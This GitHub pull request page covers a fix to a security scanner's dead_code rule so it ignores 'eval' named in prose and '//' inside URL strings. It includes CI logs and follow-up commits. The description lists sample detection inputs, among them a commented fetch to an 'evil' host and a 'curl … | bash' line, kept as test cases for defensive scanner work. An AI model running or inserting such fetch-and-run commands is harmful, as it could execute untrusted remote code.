Skip to content

fix(security): dead_code ignores eval named in prose and // in URL strings (#4548) - #6796

Merged
squid-shepherd[bot] merged 1 commit into
mainfrom
fix/4548-dead-code-comments
Oct 27, 2026
Merged

squid-shepherd[bot] merged 1 commit into
mainfrom
fix/4548-dead-code-comments

Conversation

@squid-protocol

Copy link
Copy Markdown
Owner

Closes #4548. The last residue of the DOOM-study risk/security noise: nyx's 2026-10-26 re-scan found items 2-7 no longer reproduce, and item 1 (SARIF false positives) left exactly one false GG-SAST-DEAD_CODE per port.

What

gitgalaxy/security/security_lens.py, the dead_code signature:

  • eval named in prose: eval now counts only with an argument. An empty eval() and a code span (`eval`) or quoted eval are the word, not a call.
    • nugget-doom src/nano_bsp.c: // ... storing the results in eval.
    • chocolate-doom man/simplecpp: # Evaluate an expression using Python's eval() function.
  • // inside a URL string on a code line: a // right after : or a quote no longer opens a comment.
    • odamex client/src/cl_download.cpp: if (wit->find("http://", 0) != 0 && ...)

Real commented-out calls (// eval(payload), # eval "$cmd", // fetch("http://evil..."), // curl http://x | bash) still fire once each.

Evidence

  • The three DOOM files: 1 / 1 / 1 dead_code before, 0 / 0 / 0 after (direct SecurityLens.scan_content on the pinned clones in doom-study/repos).
  • Regression tests in tests/security_auditing/test_sast_comment_awareness_4987.py: both prose shapes across the //, # and -- markers, plus the URL-in-a-string line and a real commented-out fetch.
  • tests/security_auditing: 712 passed. pr_gates.py --fast: 9/9.

Not covered (sibling shapes, same class)

# or -- inside a string literal on a code line could open a false comment the same way, but neither appeared in the DOOM corpus or the existing fixtures. Left alone rather than guessed at.

🤖 Generated with Claude Code

…rings (#4548)

The last #4548 residue on the DOOM ports was one false GG-SAST-DEAD_CODE per port:
- a backticked `eval` in a // comment (nugget-doom nano_bsp.c) and an empty eval()
  in a # comment (chocolate-doom man/simplecpp): eval now needs an argument and must
  not sit inside a code span or quotes;
- the // of "http://" on a code line read as a comment opening (odamex
  cl_download.cpp): // after ':' or a quote no longer opens a comment.

Closes #4548

Co-Authored-By: Claude Opus 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018srRveduB3fGx5MYmASN2o
@github-actions

Copy link
Copy Markdown
Contributor

🐦‍⬛ Muninn Security Scan

✅ No security issues found.

🐦‍⬛ Powered by Muninn · Skald Lab

@squid-protocol squid-protocol added the shepherd:merge Maintainer: merge when green (auto-merge, squash). Guide: docs/ci.md label Oct 27, 2026
@squid-shepherd

Copy link
Copy Markdown
Contributor

No description provided.

@squid-shepherd
squid-shepherd Bot enabled auto-merge (squash) October 27, 2026 15:16
@squid-shepherd

Copy link
Copy Markdown
Contributor

No description provided.

@squid-shepherd

Copy link
Copy Markdown
Contributor

PR #6796 @ cb99087: 2 failed check(s)

== crucible-audit (full-precision) (failure) -- real
https://github.com/squid-protocol/gitgalaxy/actions/runs/40528974607/job/122276212910
repro: tests/tools/box/golden-lock.sh python tests/tools/pr_gates.py --only golden
failing tests: tests/test_golden_crucible.py::test_golden_crucible_matches_baseline
errors:
FAILED tests/test_golden_crucible.py::test_golden_crucible_matches_baseline - Failed: Structural drift detected against golden_master_audit (40 differences):
##[error]Process completed with exit code 1.
log tail:
│   ├── gitgalaxy
│   ├── github-action-readme.md
│   ├── mkdocs.yml
│   ├── muninn.yml
│   ├── pyproject.toml
│   ├── scripts
│   ├── site
│   ├── templates
│   ├── tests
│   └── zizmor.yml
└── language-crucible
├── AGENTS.md
├── ANTIGRAVITY.md
├── CLAUDE.md
├── LICENSE
├── NOTICE
├── README.md
├── RELEASING.md
├── SECURITY.md
├── SOURCES.md
├── data
├── raw_output
└── tools
14 directories, 25 files
Post job cleanup.
[command]/usr/bin/git version
git version 2.55.0
Temporarily overriding HOME='/home/runner/work/_temp/d33a12a5-6f19-45d6-8937-b1a206d12092' before making global git config changes
Adding repository directory to the temporary git global config as a safe directory
[command]/usr/bin/git config --global --add safe.directory /home/runner/work/gitgalaxy/gitgalaxy/gitgalaxy
Removing SSH command configuration
[command]/usr/bin/git config --local --name-only --get-regexp core.sshCommand
[command]/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
[command]/usr/bin/git config --local --name-only --get-regexp http.https://github.com/.extraheader
[command]/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http.https://github.com/.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
[command]/usr/bin/git config --local --name-only --get-regexp ^includeIf.gitdir:
[command]/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
Cleaning up orphan processes

== crucible-audit (zero-dependency) (failure) -- real
https://github.com/squid-protocol/gitgalaxy/actions/runs/40528974607/job/122276212190
repro: tests/tools/box/golden-lock.sh python tests/tools/pr_gates.py --only golden
failing tests: tests/test_golden_crucible.py::test_golden_crucible_matches_baseline
errors:
2026-10-27 15:14:57,232 [WARNING] [GalaxyScope] ┃ (--fail-on-malware cannot fire). Rule-based threats still run. ┃
FAILED tests/test_golden_crucible.py::test_golden_crucible_matches_baseline - Failed: Structural drift detected against golden_master_zero_dep_audit (40 differences):
##[error]Process completed with exit code 1.
log tail:
│   ├── gitgalaxy
│   ├── github-action-readme.md
│   ├── mkdocs.yml
│   ├── muninn.yml
│   ├── pyproject.toml
│   ├── scripts
│   ├── site
│   ├── templates
│   ├── tests
│   └── zizmor.yml
└── language-crucible
├── AGENTS.md
├── ANTIGRAVITY.md
├── CLAUDE.md
├── LICENSE
├── NOTICE
├── README.md
├── RELEASING.md
├── SECURITY.md
├── SOURCES.md
├── data
├── raw_output
└── tools
14 directories, 25 files
Post job cleanup.
[command]/usr/bin/git version
git version 2.55.0
Temporarily overriding HOME='/home/runner/work/_temp/00a0c579-01be-4c16-adb0-0f5f36c263d7' before making global git config changes
Adding repository directory to the temporary git global config as a safe directory
[command]/usr/bin/git config --global --add safe.directory /home/runner/work/gitgalaxy/gitgalaxy/gitgalaxy
Removing SSH command configuration
[command]/usr/bin/git config --local --name-only --get-regexp core.sshCommand
[command]/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
[command]/usr/bin/git config --local --name-only --get-regexp http.https://github.com/.extraheader
[command]/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http.https://github.com/.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
[command]/usr/bin/git config --local --name-only --get-regexp ^includeIf.gitdir:
[command]/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
Cleaning up orphan processes

@squid-shepherd squid-shepherd Bot added the shepherd:needs-fix Bot: a real failure on this head; see the digest comment. Guide: docs/ci.md label Oct 27, 2026
@squid-shepherd
squid-shepherd Bot merged commit b7151a8 into main Oct 27, 2026
53 of 55 checks passed
@squid-shepherd
squid-shepherd Bot deleted the fix/4548-dead-code-comments branch October 27, 2026 15:24
squid-protocol added a commit that referenced this pull request Oct 27, 2026
…ODE findings on 4 ports (Part of #6266)

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
squid-protocol added a commit that referenced this pull request Oct 27, 2026
…on chocolate-doom, crispy-doom, doo-cr (Part of #6266)

Full 44-port doom_rosetta_check at this head: only these three drift,
summary counts only (by_level, by_rule, sarif_total); the other 41 match.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
squid-shepherd Bot pushed a commit that referenced this pull request Oct 27, 2026
…ter #6793 (Part of #6266) (#6799)

* Call-graph accuracy baseline: accept the C++ destructor-name and conversion-operator decisions (Part of #6266)

cpp recall 99.7 -> 99.0 (FN 24 -> 77), precision 96.6 -> 98.2 (FP 271 -> 137). Bisected on the
language-crucible: 25 -> 38 FN at #6762 (x->~T() is the unit ~T, tree-sitter says T), 38 -> 77 at #6776
(String(operator Vector2()) names a conversion operator, not the Vector2 type; read in godot variant.cpp).
Neither PR refreshed this baseline; #6793 does not move it (the pre-#6793 parent measures the same 99.0).

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>

* Re-bless DOOM-rosetta: #6793 continued-define leak lowers engine-only callgraph on 6 ports (Part of #6266)

Only callgraph fields move: woof, odamex, doom3-bfg, srb2, doomsday, nugget-doom gain precision
(nugget-doom unscored 21 -> 0, srb2 55 -> 27). Cost: 4 misses (srb2 2 -> 4, odamex 21 -> 23) where a macro
defined inside a function is invoked in it (HWR_RenderPlane SETUP3DVERT, md5_process H): the oracle credits the
body to the invoking function, the engine no longer does. Macro expansion is a sibling gap.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>

* Re-bless DOOM-rosetta: #6796 dead_code prose/URL fix drops 1-2 DEAD_CODE findings on 4 ports (Part of #6266)

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>

* Re-bless DOOM-rosetta: #6796 dead_code fix drops 1 DEAD_CODE finding on chocolate-doom, crispy-doom, doo-cr (Part of #6266)

Full 44-port doom_rosetta_check at this head: only these three drift,
summary counts only (by_level, by_rule, sarif_total); the other 41 match.

Co-Authored-By: Claude Opus 5.5 <[email protected]>

* affected gate: run the pytest on PATH when the interpreter has none (precheck 6 s red on #6799)

Churn's precheck runs pr_gates under /usr/bin/python3, which has no pytest, so
`sys.executable -m pytest` failed `affected` in 6 s on every branch whose change
reaches a test; under the selfscan venv it passed, so earlier runs could not
reproduce it. Fall back to the `pytest` on PATH with this checkout first on
PYTHONPATH (the same trap pr_gates' _tool_bin_dir closes for ruff). Part of #6266.

Co-Authored-By: Claude Opus 5.5 <[email protected]>

---------

Co-authored-by: Joe Esquibel <[email protected]>
Co-authored-by: Claude Sonnet 5.5 <[email protected]>
squid-shepherd Bot pushed a commit that referenced this pull request Oct 27, 2026
…ll false positives) (#6804)

#6796 merged with the golden crucible red; every PR since fails against the stale
count. The 15 dropped findings are URL strings and annotation/attribute URLs whose
// opened a false comment (spock @see(["https://..."]), moby HasPrefix("https://"),
pom.xml xmlns), and eval named in prose (regexp-unicode-sets.js). No count rose.

Part of #4548


Claude-Session: https://claude.ai/code/session_018srRveduB3fGx5MYmASN2o

Co-authored-by: Claude Opus 5.5 <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

shepherd:merge Maintainer: merge when green (auto-merge, squash). Guide: docs/ci.md shepherd:needs-fix Bot: a real failure on this head; see the digest comment. Guide: docs/ci.md

Projects

None yet

1 participant